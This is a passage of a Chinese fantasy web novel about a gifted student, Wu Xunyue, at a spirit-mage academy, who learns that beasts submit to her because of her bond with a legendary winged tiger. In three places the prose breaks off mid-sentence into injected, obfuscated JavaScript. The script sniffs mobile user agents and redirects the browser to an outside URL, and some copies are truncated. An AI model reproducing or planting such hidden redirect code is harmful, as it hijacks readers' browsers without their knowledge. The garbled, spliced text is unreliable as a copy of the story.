可将《灵族史:上》翻到最后,也只讲到了距今7000年之前的时代,始终围绕着长隐洲展开,重大发现、重要战役、杰出人物等。直到上学期的课程结束,司城家也不过更换了十余任当家,而现任当家司城靖,已是第四十六任。 巫寻月想起之前发放的新生指南,里面有介绍七年制的课程设置。她拿出来一看,一年级下学期的历史课本名为《灵族史:下》,她猜想应是继续讲述7000年前至近代的灵族史,而到了二年级,历史课本变为《全陆通史》,或许才会开始讲述长隐洲之外的关系。 许是邬戍城离人族近了些,文化风俗受人族影响,巫寻月对于山海洲的探知心,始终要高于万墟洲——毕竟,灵族与风族势不两立,这是每一个灵族人打从出生就知道的事了。 第二天排了药理、武术、遁术、驯兽。这一天巫寻月将会过得非常轻松,因为除了武术,其他三门课可以说都进入了她的舒适区。 一早的药理课上,巫寻月便大杀四方,她早已看过课本,几乎没有她不认识的草药,甚至在课本中标注了极为罕见的仙品,她都见过。 教药理的桃老师对她赞不绝口:“早就听说今年新生中来了个药理天才,不仅见识的药材多,用法也是别有心得,今日一见果真如此,真是让老身欢喜得很呐。” 下了课,桃老师还不忘抓紧对她说:“寻月,要是得空可来老师这坐坐,后山有大片草药园,也是以后你们上课会去的,你定喜欢得很。” 桃老师也是一位开朗的妇人,巫寻月见她也很是亲切,欣然答应:“好啊桃老师。” 下一节是武术课,前往武术课室的路上,已有同学开始应激:“我好不想去上武术课啊!冷老师太凶了!我不想挨打!” 有人鼓励道:“武术乃灵术基础,不可不学,若是不想挨打,你做准了便是。” “哪有能完全做准的,谁人昨日没有挨打!” 确实没有,连出身强攻系灵师家庭的孩子多少也挨了两顿打。巫寻月挨了一次,就在她扎马步低头检查时,冷不丁一棍子就敲了她后脑,冷夷行的声音没有丝毫波澜:“脖子反弓。” 总体来说,她挨的打算是最少的了。虽说在山里和小白瞎跑,不成体系,但若想取得预想效果,正确的发力姿势必不可少,这么些年她自己琢磨出来一些,与老师所教的不谋而合,再经老师指点一二,自然很快就调整正确了。 所以,武术课上到一半时,冷夷行从她身边经过,淡淡地留下了一句:“巫寻月同学最为标准,你们可参考她。” 这一上午下来,昨日一上来便急着向她自报家门的那些世家子弟,一个也不吭了声。 这其中最夸张的是慕学文,连迟安瑜也发现了:“今日慕学文是不是见了你就躲得远远的啊?” 巫寻月也一脸困惑:“是吗?” 很快她就知道了原因。武术课下课便是午间了,一出课室就有老师拦住了她,要带她一同到梅见蹊所在的临崖阁去,巫寻月询问何事,老师却说去了便知。 老师朝她伸出手:“跟我来吧。” “……啊?”巫寻月不明所以。 “搭老师的手,老师带你遁术。” 巫寻月惊呆了,一时未有反应。老师却是疑惑:“怎么了?” “……没有没有!只是这是我……第一次遁术……”巫寻月颇为紧张,还是没动手。 老师笑了起来:“难怪,第一次由熟练的人带,是会有些紧张的——来,你可以挽着老师的胳膊,离老师近些会好点。” 巫寻月小心翼翼地挽住老师的胳膊,老师也是耐心,给了她一些准备时间,道:“准备好咯——一、二、三!” 一瞬间,视线中所有事物幻化模糊,帧数混乱,仿佛被压缩进一个狭小空间里挤压揉乱,有那么几个瞬间她辩出了几处场景,可还未细看,已然到了下一个地方…… 直到落地,巫寻月呆呆地盯着前方,一动不动。 老师好笑地提醒道:“我们到咯。” 巫寻月猛然回神:“……好。” 进临崖阁还有几步路,巫寻月赶紧问:“老师,我什么时候可以开始学遁术?” “一年级就学了呀,昨天没排课吗?你看看你今日课表?” “……对哦!下午就有遁术课了!”巫寻月喜出望外。原还对遁术没有任何概念,竟在上课前就体验了一番,这下让她对遁术课的期待值拉满了。 临崖阁一楼是课室,老师带巫寻月上了楼,还未走近就听见里头吵吵嚷嚷。巫寻月最先见到梅见蹊,他背着手在屋里踱步——在骂人。 “气死我了!刚才在校长那我还没说完呢!就该立个校规——不管灵力如何,高年级学生就是不准找低年级学生比武!” 这时,他对面传来一道顶撞的声音:“这么护着她?我以前找别人比武也没见你这样啊,你该不会是看上她了吧?” 巫寻月这才注意到,梅见蹊对面站着一位身形窈窕的少女,看似眼熟,却一时想不起来。 “——丹青!快住嘴!”第三道声音发话了,是梅亦书。 梅见蹊一听,反而不气了,他几乎是哭笑不得,说:“慕丹青我告诉你,要真是我看上她,你事儿反而还小了!” 这时,两人已到门口,老师报告道:“世子,总务,人到了。” 几人一齐回头,慕丹青一见到巫寻月,立马闭了嘴,往别处看。 巫寻月先行问安:“梅老师,梅总务。” 梅见蹊走到巫寻月身边,说:“寻月,今日上午学校请了慕丹青同学家长过来,已经带她面见过校长,校长已向她父母严明此次事件的严重性,她父母也保证了回去严加管教,不会再犯,今日要你过来,是慕同学要向你道个歉。” 巫寻月一怔,有些惶恐了:“其实也不用的,我真的没事……” 听她这么说,慕丹青回了头,冷冷道:“我又没发力,若是有事,你那七重灵定是假的!” “慕丹青!”梅见蹊又吼她,“过来道歉!” 慕丹青一番挣扎,极不情愿地走了过来,面向巫寻月,点了个头,说:“对不起,巫寻月同学。” “其实……我也没事,”巫寻月是真将此事忘得差不多了,见今日如此要紧,一时有些惶然,“你若是想比试,下次告知我便是了,只是我现在的确还没开始学控术,定是打不过你的。” 听她这么一说,慕丹青立刻来劲了,神采飞扬道:“你有七重灵,学习速度非常人可比,你速去学习控术,不出几日就可……” “——慕丹青!”梅见蹊真是快被气死了。 慕丹青默默住了嘴。 梅亦书见状,笑意盈盈地出来唱红脸:“好了好了,同学之间误会能消除最好,你们积极比试自然是好事,可也要找合适的人、合适的时机、合适的方式才是呀。既已说开,巫寻月同学还得回去午休呢,慕丹青同学下午放学也要记得按时去后山打扫草药园呀!” 巫寻月问:“打扫草药园?” “校长决定的处罚,从今日起罚她到草药园打扫,除了旬休日,要去十天。” 见慕丹青闷闷不乐,巫寻月不明白,便问:“草药园很难打扫吗?上午桃老师还邀我有空过去呢,我还没去过。” “这你就不知道了,”梅见蹊看戏一般说,“慕丹青同学最讨厌药理课,一二年级时药理课成绩一直垫底。” 慕丹青一听,狠狠瞪向他,敢怒不敢言,揣着闷气扭头走了。 随后,巫寻月跟梅见蹊告别,梅见蹊嘱咐梅亦书将她送回去,免生枝节。 出门后,巫寻月试探着问:“梅老师,世子他……总是对学生这么负责吗?” 这小妞又在套话,梅亦书哭笑不得:“自然是的,世子终归是神都学宫下一任校长,于情于理他都该如此。” 这话滴水不漏,巫寻月无可辩驳。既问不出来,她便随口聊聊了:“那梅老师,你是梅家人吗?世子是你什么人呀?” “我是梅家旁支,世子是我表弟,”梅亦书放松了些,很乐意陪她聊天,“虽然世子看起来有些暴躁,但于大事上,他还是拿得定的。” “梅老师,我对灵力等级还不甚了解,请问……若撇开司城家世子不论,世子的修为如今算是如何?” “自然也是同辈中的佼佼者,无人能出其右了,”梅亦书话里有骄傲,也有忧虑,“不过灵术体系一直在发展进步,新人辈出,世子身上的担子也很重。” 巫寻月又问:“那慕丹青同学,可也算是同届中的优秀生?我听说她已有七重灵,岂不是可以冲击优秀毕业生了?” 梅亦书笑起来:“寻月,你脾性好,丹青真该与你多学学。慕家是神都世家大族,祖辈出过数位封号灵师,当今的六令封座慕之遥,便是她的亲伯父。论天资,丹青稍逊于你,可在她那届学生里可论翘楚。” “慕之遥?”巫寻月仔细搜寻记忆,“我好像听同学说过,灵师战力排名,似乎有这位前辈?” “是,因此,慕家虽不跻身五大宗族,却也是灵师的中流砥柱啊。” 见老师不否认这野榜,巫寻月觉得有趣,便多问:“老师,这个排名,校长也是认可的吗?” 梅亦书笑道:“校长的心胸造诣早已超出尘世,自是不理会这些,不过嘛……悄悄告诉你,这排名有些部分,还是学校老师帮着琢磨的。” “竟是如此,哈哈哈哈……”两人一同笑了起来。 下午的遁术课,巫寻月又秀了一把令人望尘莫及的天分,真给大家表演了一出窜上房梁。 老师震惊地问她:“你还会什么?” 巫寻月说:“其实,我最擅长的应该是爬树。” 老师比一众同学更想见识,便领着全班走出教室去了外面。遁术课教室旁便有一颗千年古树,盘山而上,一直延伸到与观星台齐高。巫寻月看了一眼,说:“我爬这个吧。” 老师大惊失色:“别……这树有近千尺高,下面便是悬崖……” 还未听完,巫寻月摆摆手,小事一桩般道:“没事,老师,我在老家的时候爬的都是这种树,有的比这还高呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是五尾狰!”慕学文高呼道,“我家就有!养在前院里迎客的!” 柴老师走进门,微笑道:“对,是五尾狰,它们温顺亲人,稍加训练便会听话排列,许多世族都喜欢养在家里用作迎客。” 这小豹子看着奶凶奶凶的,惹人喜爱,坐在后排的同学们纷纷涌上前来,争着看个清楚。柴老师让大家坐好,还是先让大家翻开书本,学习有关五尾狰的基础知识。 一番讲解之后,终于到了万众瞩目的实践时间。 柴老师再叮嘱:“记住了吗?一定要耐心,不要狰狞,不要吓唬,不要用手指着,这是最基本的三点,一定不能犯。” “记住了——” 柴老师来到台前,一边走一边说:“五尾狰虽看着块头不小,但只有两重灵,所以你们班所有人都可以驯好它们——但也切记刚才说的三点,若是犯了,它们爆发起来,也足够你们吃力应付。” 几只五尾狰此刻都在门外,或躺卧,或行走,有一只淘气的在刮教室的墙。柴老师面带微笑,轻轻一声“咻——”,四只灵兽立刻看向她,在她的手势引导下慢慢踱步过来,却还散乱不成队列。 对于此种低级灵兽,高阶灵师单手轻轻一挥便可驯服,但为了演示给学生,柴老师慢慢抬起双手,释放些许灵压,始终保持温柔的笑。在她的手势下,四只灵兽分别寻找自己的位置,很快就站成了两列。 教室里爆发出欢呼:“哇——”“我也要试我也要试!” 柴老师高呼:“都排好队,一个个来!” 巫寻月和迟安瑜习惯了向后站,不跟低龄同学抢,可也有胆小的同学不敢向前,二人便排到了中间位置。 前面几个都算顺利,慕学文更是驾轻就熟。突然到了一位个子矮些的女孩,本是兴致勃勃,可一站到灵兽面前,发现灵兽体型竟比她想象的要大,当即吓得大叫,灵兽一听,当即变得呲牙咧嘴—— 柴老师一挥手,灵兽全都定住了,乖乖退了回去。 实践暂停,柴老师出来安抚好女孩,又将要点再重复一遍,才继续下去。 轮到巫寻月了。柴老师先往远处丢了块吃食,四只灵兽立刻跑了过去,趁此时,巫寻月走过来站好,柴老师便退到了身后。 四只灵兽还聚在不远处抢食,巫寻月做好准备,轻轻一声:“咻——”就见它们纷纷抬了头。 按理来说,这声音只是吸引五尾狰的注意,灵师要催动灵力才可使五尾狰听从指令。但,眼下情况却大有不同—— 只见四只五尾狰回头一见到巫寻月,当即松了嘴,不再抢食,尾巴一沉,端坐规正,齐刷刷地看向巫寻月。 同学们议论已起,巫寻月也不知这为何意,回头探向柴老师,就见到老师同样诧异的神色。眼见五尾狰也没有叛逆之态,老师便鼓励她先继续。 巫寻月只好回头,抬手作势,还未等运灵,就见那四只灵兽一齐起身,第一只叼起吃食走向她,后三只整齐跟上,成队列走了过来……然后,将吃食放在她面前,站成一排,眼巴巴地望着她,像是在仰望自己的头领。 “怎么会这样?”“她还未运灵吧?”“怎么看起来这些五尾狰……像是认了老大?” 同学们议论纷纷,巫寻月不知所措,看向柴老师:“老师……” 柴老师大为诧异:“这五尾狰如此姿态,的确是向头领臣服的姿态,对灵师不该如此啊……” 16. 第 16 章 巫寻月完全懵了:“那我现在……怎么做?” 柴老师想了想,说:“……你先试试按老师所教之法,看看如何?” 巫寻月听话照做,驯服五尾狰方法简单,她一试便成功了。四只五尾狰如之前那样站成两列,神态却是不同——没有刚才仰望她那般绝对的臣服。 既无其他意外,便也算是成功,柴老师让巫寻月下去,换上下一个同学。 直到放学,巫寻月仍是心事重重。 同学们走后,巫寻月留下来询问柴老师。老师说大约是她灵力太高所致,可这话里有明显漏洞——明明柴老师才是全场灵力最高之人。 最后,柴老师说:“此事我回去还需细细研究,也不排除你天赋异禀的可能,你且安心。” 巫寻月从课室出来,愁眉不见展。忽然她听见不远处传来一阵摇铃,跟着是脚踩落叶的脚步声,她抬头望去,就见一头半人高的狮型灵兽正徐徐走来,一位老师正负责牵引它。那灵兽通体黑色,长有三眼,额头上那第三只眼发出蓝光,照亮了前行之处。 巫寻月一愣,那灵兽正盯着她。下一秒,那灵兽止住脚步,巫寻月心生紧张,却见它如同刚才那些五尾狰一般,后腿缓缓下压,朝着她的方向端坐下来。 负责牵引它的老师也是出奇,循着方向看来,见到是一个学生之后,更是不解。 巫寻月朝它走去,先问好:“老师,我是一年级一班的学生。” 老师笑了笑,直说:“是巫寻月吧?我一看便知。” ——十五岁,灵力高,还漂亮。巫寻月已然明白了自己的显著特征。她轻轻一笑,问:“老师,请问这是什么灵兽啊?” “是玄光狮,不易驯服,需要时刻带着摇铃,”老师示意手中的摇铃,说,“但大有用处,它们的眼睛可照见藏在黑暗中的潜在危险,若是比自己灵力低的灵兽,照中便可绞杀。” “原来如此……是母狮吗?” “对,这是一头母狮。”老师说完,歪头疑惑道,“我刚才见她作臣服姿态,还以为别的老师牵着雄狮出来了,抬头一看却是你……可她为什么会突然臣服呢?” 巫寻月心中一惊:“刚才那样,便是臣服吗?” “是啊,通常只会发生在母狮对雄狮,雄狮对头领之间,”老师以为她好学,便又多说了几句,“但也还有一种情况,就是对万兽之王的臣服。” “何为万兽之王?” “这也只是一个传说。传说上古九大灵兽各自统领灵兽部众,这其中一头便是万兽之王,兽类灵兽见了,都会臣服于它。” 巫寻月追问道:“这万兽之王长什么样呢?” 老师笑言:“老师也没见过,万兽之王上一次出现已是千年前了,它们全凭自己喜好在世间游走,有机会见过的人们也早已不在人世……若你有兴趣,可到图书馆去借阅相关的书籍,我记得图书馆中是有的。” 走出兽园,巫寻月想起来,今日西老师告假,她不必去她那里学调息。既如此,她便一路观赏风景,慢慢往外走了。 后山偏远,若是没课,学生一向不会来此。偶然见到几个天空中一闪而过的身影,那是高年级的同学在练习遁术。 慢慢走着走着,远远地瞧见了草药园的挂牌,巫寻月想起来,今日听了梅见蹊说,慕丹青放学之后要来此受罚。巫寻月朝药园走了过去。 草药园里生长着各类药种,有巫寻月见过的,也有没见过的。长在院子里的多为初级草药,治疗一些简单病症,越往里的植物生长条件越是复杂,品级越高。 巫寻月找到一种自家给桑家供应的药材,蹲身下来细察细品,许是水土问题,这里的品级果然不如邬戍城出产的好,难怪桑家不远千里也愿意去。 突然,她听见远处传来抱怨:“啊啊啊烦死了!这么一大片要我一个个清洗?怎么可能洗得完啊!” 巫寻月抬眼望去,慕丹青刚从一片药圃中起身,将水瓢往桶里一砸,生着闷气。她笑起来,提步过去,开口道:“舒合草,吐露可解毒,喜干燥,外苞不必清洗。” 慕丹青一惊,回头对上她的笑眼,听她接着说:“老师让你清洗的意思,应该是给它们喂水,可舒合草也不宜多喝水,老师可给了你滴管?” 慕丹青怔住,往下一看,果然工具包里有一支滴管。接着,巫寻月又说:“这就对了,只需将一滴滴进苞房里足矣,它们自会喝下,待吐出露汁,便可收集用作解毒了。” 慕丹青面有缓和,语气也友好了些:“听说你家经营药铺,是桑家的供货商,从小遍悉草药,你可是要做医疗系灵师?” 也不知为何,巫寻月就想问她:“其实我还不太清楚,医疗系灵师如何呢?” 听她此言,慕丹青脸上又生出傲慢来,下巴都抬高了些,道:“医疗系课程复杂,需要耗费许多精力,飞升难度更甚,在任的二十一位封号灵师里,仅桑家宗主——也就是十令封座为医疗系,他从未出手战斗,因此战力也排在垫底。” 巫寻月说:“可论医术,桑宗主必是灵族顶尖。” “那是自然,”慕丹青对封号灵师自然恭敬,又说,“可医疗系若想学好,必要放弃一些武术和控术,所以,医疗系灵师战力普遍不强。” 巫寻月听明白了:“你的意思是,灵族崇武,若是战力不强,也便不会为人所道了。” 慕丹青虽有此意,可到底也算谦逊:“若有能兼顾武术与控术的医疗系灵师,那他必定是顶尖强者,值得载入史册,可据我所知,这样的人并不存在——我们梅校长可算其一,校长虽是控制系灵师,却也精通武术与医术,是史上罕见的全才,就连司城宗主也称道与他不相上下。” 似乎在灵师的世界里,司城家是最权威的存在,无论何人何事,只要与司城家相较,或经司城家开口,便成为了举足轻重的存在。 巫寻月笑了笑,说:“我自然不敢想能有多顶尖,也从未幻想名垂青史,我刚刚入学两天,要学的东西还很多,也不知道什么适合自己,且得再摸索摸索。” 也不知道为何,别人默认她要做医疗系灵师,她都一笑而过,今日却想说些实话。 慕丹青有些意外:“你倒是谦逊,许多人一进学校便嚷嚷自己要做控制系灵师,最后不还是都选了强攻系,只图个好毕业。” “那你呢?你是什么系?” “我家世代为控制系灵师,我自然也是控制系。” “原来如此,”巫寻月想了想,说,“那你的伯父……” 慕丹青看出她一时想不起来,一声嗤笑,替她说了:“我伯父六令封座慕之遥,自然也是控制系。” “抱歉,我这几日听说的名字实在是太多了……” 看她一脸纯真,慕丹青越发觉得有趣,也忍不住多说:“今日我听说你门门课皆有天分,腿部灵力发达,第一节遁术课便能攀上山顶巨树,就连冷老师的武术课也能做模范,且药理又是你天然强项,若你真选医疗系,必定也是如校长一般的全才之人。” 突然听她如此一番盛赞,竟还拿校长做比,巫寻月着实吓了一跳。她这两日所学,自己都还没空好好做个总结,慕丹青就已然张口即来了。巫寻月有些小心:“……你真这么想?” 两人身高相近,彼此平视,慕丹青站得笔直,说话时认真却不失灵动:“那是自然,如若不然,我何故找你比试?” 巫寻月心里升起暖意,笑着对她说:“丹青,你拿我当对手,我很开心,只盼我早日学成,不负你的期待。” 慕丹青微怔,明明两人同龄,巫寻月却全然未经世一般单纯,这让她有种欺负了她之感。可她就是有预感,同龄人之间,巫寻月必定是她最强对手之一。 慕丹青放下水瓢,缓缓提步,道:“我十一岁以五重灵入神都学宫,是新生中灵力最高者,几年间同学们你追我赶,唯有一人尚能与我匹敌,若有不解之处,我也只能找他讨论一二。到了上学期,我升七重灵,便有了高年级的七重灵来找我切磋,我这才多了些对手。” 巫寻月似乎明白了:“所以,你一听说我有七重灵,便想着多了个对手?” “我要说的不是这个,”慕丹青转身看定她,正色道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674292|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“在神都学宫,交朋友是根据灵力自主匹配的,慢慢你就会跟灵力匹配的人走到一起,否则的话——就会德不配位。” 她这话说得有些重,巫寻月皱起了眉,立刻就反驳:“可我们来读书,终归是一半生活一半学习,学习并非全部,所以也不该只按实力筛选,我在来神都的路上就碰到……” “你别急着驳我,”慕丹青打断了她,似乎猜到她会说什么,懒得听完了,“终有一天——不,鉴于你如此特殊,这一天会很快,很快你便能明白我的意思了。” 慕丹青的话,现在的巫寻月自是不会明白。 之后巫寻月教了她一些简便的草药打理之法,便离开了药园。到食堂吃过晚饭后,她打算去图书馆看看。 她心中已有猜想,只是不敢相信,需要一些证实。 图书馆也建在高处,高处气候更干燥,对图书保存更好。巫寻月一进门,便循着指示牌步步向里,图书馆很大很大,她一路走了许久,才终于见到灵兽类图书区。 有关上古九大灵兽的图书并不好找,记载太少,太零碎,也太遥远。终于,巫寻月在重重书海间找到了一本陈旧的《上古九大灵兽简录》,竟已是百余年前所出版的了。 巫寻月抱着书本找到座位,怀揣紧张翻开了第一页。 第一头上古灵兽,名为七彩神凰,为百禽之尊。形如巨禽,羽翼常态呈金色,开心时通体会泛出七彩霓虹,璀璨光华。 居住在人族山海部洲,是有史以来现世最多的一头上古灵兽。喜热闹,喜欢被崇拜,常见于人族最繁华的都城,或香火最盛的寺庙,偶见于人族帝王的加冕礼,被人族视为至高祥瑞。 …… 除了文字记载,也有图画。七彩神凰是最喜欢现世的上古灵兽,因此记载不少,图画也不少,最近一次现世正是此书的出版时间,百年间未有更新,想来是之后再未现世。 第二头上古灵兽,名为森罗老祖,为万木之源。这是第一头被发现的上古灵兽,却无人见过其完整本体,只因万年前灵族与风族在边境森林一战中将其惊扰,霎那间,土地崩裂,漫天古藤疯狂涌出,将两族战士顷刻间绞杀殆尽。 后两族皆退出森林,边境森林从此成为禁地,两族达成共识,避免在此处产生冲突。 第二次现世为两千年前,当地开采矿石的平民深挖矿洞将其惊扰,整座村庄便遭到了屠戮。由于这一次灵师们是作为后来者,才终于对其外貌窥见一二。本体由古木与蔓藤构成,清醒时可凌空于森林之上,沉睡后完全融入森林地表,不见踪迹。 第三次现世在一千年前,与巨翼幽虎发生争斗。争斗时,十一令与天听阁几乎倾巢而出,到场观摩,风族两派士族也几乎全员到齐。 巫寻月心头一震,速速细读下去。 据戍边前哨所报,巨翼幽虎于深夜路过此处,遭遇森罗老祖突然主动出击。打斗时,无数蔓藤如鬼手般冲天而起,将巨翼幽虎缠绕其中,巨翼幽虎双翼尽展,扇出覆天灭地之飓风,罡风化作亿万无形利刃,将蔓藤尽数连根拔起,木屑纷飞如雨。 接而,森罗老祖本体现世,古木高耸如山,巨翼幽虎发出震天怒啸,声波如金石裂空,震碎巨藤,最终以金风克木,战斗态势倒向巨翼幽虎。 森罗老祖躯干上万千木瘿显出惊怒,却难阻白虎利爪,将其核心根盘撕裂。森罗老祖遭受重创,最终坍塌而下,重新归于沉寂。 而巨翼幽虎,双翅一展,消失于茫茫夜色之中,从此不知所踪。 此战打了三天三夜,毁灭方圆数十里森林,山脉断裂数百里,为距今最近的上古灵兽间的战役,因此,记载最为详实。 虽记载了与巨翼幽虎有关之事,在这部分却只有森罗老祖的画像,巫寻月已无心再读,速速后翻——但下一头上古灵兽竟只有短短几字,她一眼便看完了。 第三头上古灵兽,名为东海帝龙,为掌水之神。居住在东海之中,能操控风雨,引发海啸。外貌,不详。现世时间,亦不详。 巫寻月猛地将书页后翻,然后,就见到了那个她再熟悉不过的面孔—— 17. 第 17 章 第四头上古灵兽,名为巨翼幽虎,为万兽之王。外形为白虎,高于人,长双翼。居无定所,或偏爱山谷,喜夜间出没。 第一次现世在四千年前,夜间于中部山林离开时被人发现,或因清灵江处于枯水期,另择良处而栖,未伤人。 第二次现世在一千年前,夜间路过边境森林,被森罗老祖偷袭,展开一战,后获胜,离开边境森林,不知所踪。 文字记载的旁边有巨翼幽虎的画像,就是她的小白。 小白喜欢夜间出没,难怪当地人的传说里,遇见山神的人都是在夜间。可后来她都是白天去垩山玩,小白便只好随她白天出没,即便大多数时候只想伏着睡觉。 小白喜欢山谷,她第一次与小白相遇,就是在山谷深处,她蹲在溪边洗手,冷不丁放在身边的肉饼就不见了。 原来小白真的那么那么厉害,难怪对那个人在近身修炼不屑一顾,甚至如此宽容。 原来小白竟还打赢了森罗老祖,那个令灵族与风族两族忌惮的森罗老祖,最后也未赶尽杀绝,拍拍屁股就离开了。 可小白竟还那么听她的话,乖乖顺从她的一切喜好。 巫寻月早已泪流满面。 她想明白了,那些五尾狰、玄光狮之所以会臣服于她,大抵是嗅到了她身上巨翼幽虎的味道,才会立刻臣服于这位“万兽之王”。 她想起自己离开前,还对小白说以后会保护它,难怪小白那么嗤之以鼻。 噢对了,小白是女孩子,也就是母老虎,很早之前她将小白的尾巴揪起来看,小白吼了她一嘴,那时她还小,当即吓哭,小白转头就只好乖乖舔她向她道歉了。 巫寻月趴在桌上泣不成声。 小猫咪啊,还真是违逆自己的本能来爱你呢。 入学后的第一个旬休日,四位舍友都从未到过神都,约好了周末一同去城中逛逛。巫寻月原想约玉文瑛的,见她们说好,便也参与了。 神都入秋早,山里又冷些,她是该早点去城里采买些衣物了。 巫寻月与三位舍友并不算亲近,可几位都是知书达理的大家闺秀,相处便也算融洽。最要好的是同在十三班的鹿晴晴与定雪莲,巫寻月、锦章和她们彼此的关系都差不多。 毕竟,论起功课时,锦章所在的二重灵班级的确是落下一截,一重灵班级又再落于一截,巫寻月倒是想帮助她们一二,可每个人的悟性不同,效果也不尽相同。 一进神都城,四位女生就被迎面展开的中央大街惊呆了。青石砖道宽敞得能容下十驾马车并行,道路如通天般笔直向前,遥远尽处一座钟楼耸立,以此分隔东西与南北中轴大街。钟楼以北却还不是灵师高层驻地,依旧是繁华闹市区,北向正对着的护城河之后,才是灵师聚居之地,以一条横向的灵谕大街为主动脉,各府邸分立两侧,神都人称之为内城。 中央大街两侧,重檐斗拱的楼阁商铺鳞次栉比,朱漆雕栏,彩绘华美。层层叠叠的商幡招幌迎风飞舞,吆喝之声不绝于耳,往来之客络绎不绝。 路上人流如织,锦衣华服,珠玉翡翠,男子摇扇而过,女子肆意欢笑。四处遍布着百戏杂耍的喝彩声与丝竹管弦之乐,繁华热闹之至,令人叹为观止。 巫寻月最先说话:“我现在觉得我们南方的暮沉泊……就像个小村子一样。” 三位女生纷纷点头,也如此评价自己的家乡。 既是与舍友出门,便只能专心逛街采买了。巫寻月想来神都城,自是另有目的。她没忘记冷夷行老师说的,到神都武器店定制武器,便可见到司城家中人。 梅见蹊不帮她问,那么她就自己想办法问。可眼下看来,只能另找时机了。 四人一路四处张望,好是目不暇接。偶然两位擦肩而过的路人,正与对方说着:“听说了吗?司城家世子今日随队伍出发前去戍边,像是巳时出发?” “巳时?那岂不是快了,我们到城门口等待,或能等到队伍,一睹世子风采呀!” 可惜街上人声鼎沸,这话茬很快便埋没在了人海之中。 此刻的九部令府门口,一行车马已整装待发。院内开阔处,司城靖正带领众人举行欢送仪式。司城凛为首,倒满一碗酒,率先饮尽为表,部众随后跟上,围在四周的同僚们皆鼓掌欢呼。 该出发了。司城凛看着司城靖,欲言又止,司城靖摆摆手,对他一笑:“你且放心,父亲在家,等你回来。” 司城凛注视着父亲,末了,只好颔首,与父亲拜别。 烈火驹停在门口,一行人上马,在九部令同僚的注视下,缓缓离开灵谕大街,进入都城中央。 天听阁有规定,除非突发应急,或事先批准,不允许乘用类灵兽在神都上空飞行——若真允许,那还不得乱了套了。所以,司城凛率部此行,先驾乘烈火驹到城外,再搭乘官方的双凫船前往边境驻地。 自然,司城迦染每日坐烈火驹车驾去上学也得遵守这个规矩,但她不从正门出,由司城府邸后门出东城门最近,离了城门,烈火驹便可肆意飞行了。 除了维持上空面貌、保证秩序以外,还有一个目的——加强一下灵师在平民心中的形象。本来战事就远离都城,神都百姓多年未曾得见,若不在平时摆摆仪仗、耍耍威风,灵师权威何在?神明形象何在? 而这烈火驹,则是加强中的加强——官方原给十一令统一配有马匹,司城凛此行率九部令出门,用了自家独有的烈火驹,自然是为了加强司城家灵师之首至高无上的形象了。 行在路上,司城凛突然感觉到心口罡灵坠有异,扯出一看,其上灵石竟在闪闪发光——这罡灵坠原是一对,一石双坠,若是近到感应彼此,便会发出光亮。 司城凛一愣,抬眼望去。此时还未出灵谕大街,路上三三两两的面孔皆是身着劲装官服的灵师——难道,她来了神都城? 一直驾马跟在他身侧的侍从师相见到此景,惊呼道:“少爷!罡灵坠在发亮,莫不是那姑娘……” 司城凛垂眸看着石坠,不言。 队列缓缓驶过护城河桥,进入都城,一早听闻他会路过此处的百姓在道路两侧成列,夹道欢迎,鼓掌欢呼。 “天啊!真的是司城家世子啊!真真是天神容貌般俊朗啊!” “世子位高至此,竟亲自戍边两年,天佑世子!天佑我灵族!” “祝世子一路安好!早日凯旋!” 越是深入都城,那灵光愈发强烈。司城凛将其攥在手心,想抬眼看看,却又不忍抬眼。 师相读出他所想,试着问:“少爷……需不需要,我去寻她?” 司城凛不言。 本就想好七年不见的,这不过,才过了不到两月而已。 司城凛沉了口气,将罡灵坠收回心口,抬眼,沉声道:“不用了。” 此时街道一侧的衣冠铺中,四位女生正在开心地试衣。突然就听见门外有人喊:“是司城家世子!是司城家世子!” 店里无论是顾客或是伙计,听到此言,纷纷朝门外跑了出去。 “真是司城家世子?他怎会突然出现在大街上?”锦章略有迟疑。 巫寻月突然想起来了:“这几天我总听人说,世子要带队去换防戍边,莫非是今日出发?” 闻此一言,几位舍友都双目发亮,立刻转身跟着跑了出去。 巫寻月倒是想跟,但她裙摆太长,鞋子也是店里不合脚的试衣鞋,踉踉跄跄才跟上,等到门外时,见到的便只是队伍的尾巴了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16674293|188673||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >舍友们在喊:“是司城家的烈火驹!我前日还见郡主乘坐来学校呢!” “哪位是世子啊?他们穿的都一样啊?是最前面的吗?” “定是最前面的!独他头顶金冠!这都走远了!我要去前面看看!” 向前跑去的是鹿晴晴,定雪莲犹豫之下也跟着去了,锦章眼见队伍已走远,决心作罢。而巫寻月,一是没那么大兴趣,二是裙子实在碍事。 她远远望去,只见队伍最前面的男子顶戴金冠,在阳光之下粲然眩目,他身肩宽厚,脊背笔挺,一头半扎发随风而散,仅仅只是背影,也难藏威仪英姿。 人实在太多了,只看了那么一眼,他便淹没在了欢送的人群之中。 巫寻月退了回去,继续试她的衣服了。 